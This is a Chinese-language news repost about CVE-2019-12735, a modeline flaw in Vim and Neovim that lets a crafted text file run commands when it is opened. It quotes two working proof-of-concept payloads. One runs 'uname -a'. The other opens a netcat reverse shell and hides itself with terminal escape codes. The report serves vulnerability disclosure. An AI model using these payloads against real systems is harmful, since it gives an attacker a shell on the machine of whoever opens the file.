Vim 與 Neovim 曝出任意代碼執行漏洞

←手機掃碼閱讀     admin @ 2019-06-14 , reply:0

安全研究人員發現 Vim 與 Neovim 中存在一個任意執行漏洞,允許黑客在用戶打開惡意文本文件時控制計算機。漏洞影響 Vim 8.1.1365 與 Neovim 0.3.6 之前的所有版本。

該漏洞存在於編輯器的 modeline(模式行)功能,此功能允許用戶在文本文件的開頭或結尾設置窗口尺寸和其它自定義選項,它在一個被操作系統封鎖的沙箱中運行,並且可用命令也被限制,但是研究人員 Arminius 發現了繞過該安全保護的方法。

目前漏洞已經被編號為 CVE-2019-12735,Arminius 也釋出了兩個概念驗證。

第一個是直接利用該漏洞使系統執行`uname -a`命令:


:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

另一個利用方式更加深入,一旦用戶打開文件就自動啟動反向 shell。為了隱藏攻擊,文件將在打開時立即重寫。此外,當使用 cat 輸出內容時,攻擊還使用終端轉義序列隱藏 modeline:


\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

目前補丁也已經釋出:

更具體的細節見:

https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md





[admin ]

來源:OsChina
連結:https://www.oschina.net/news/107441/vim-neovim-arbitrary-code-execution
Vim 與 Neovim 曝出任意代碼執行漏洞已經有31次圍觀

http://coctec.com/news/soft/show-post-207142.html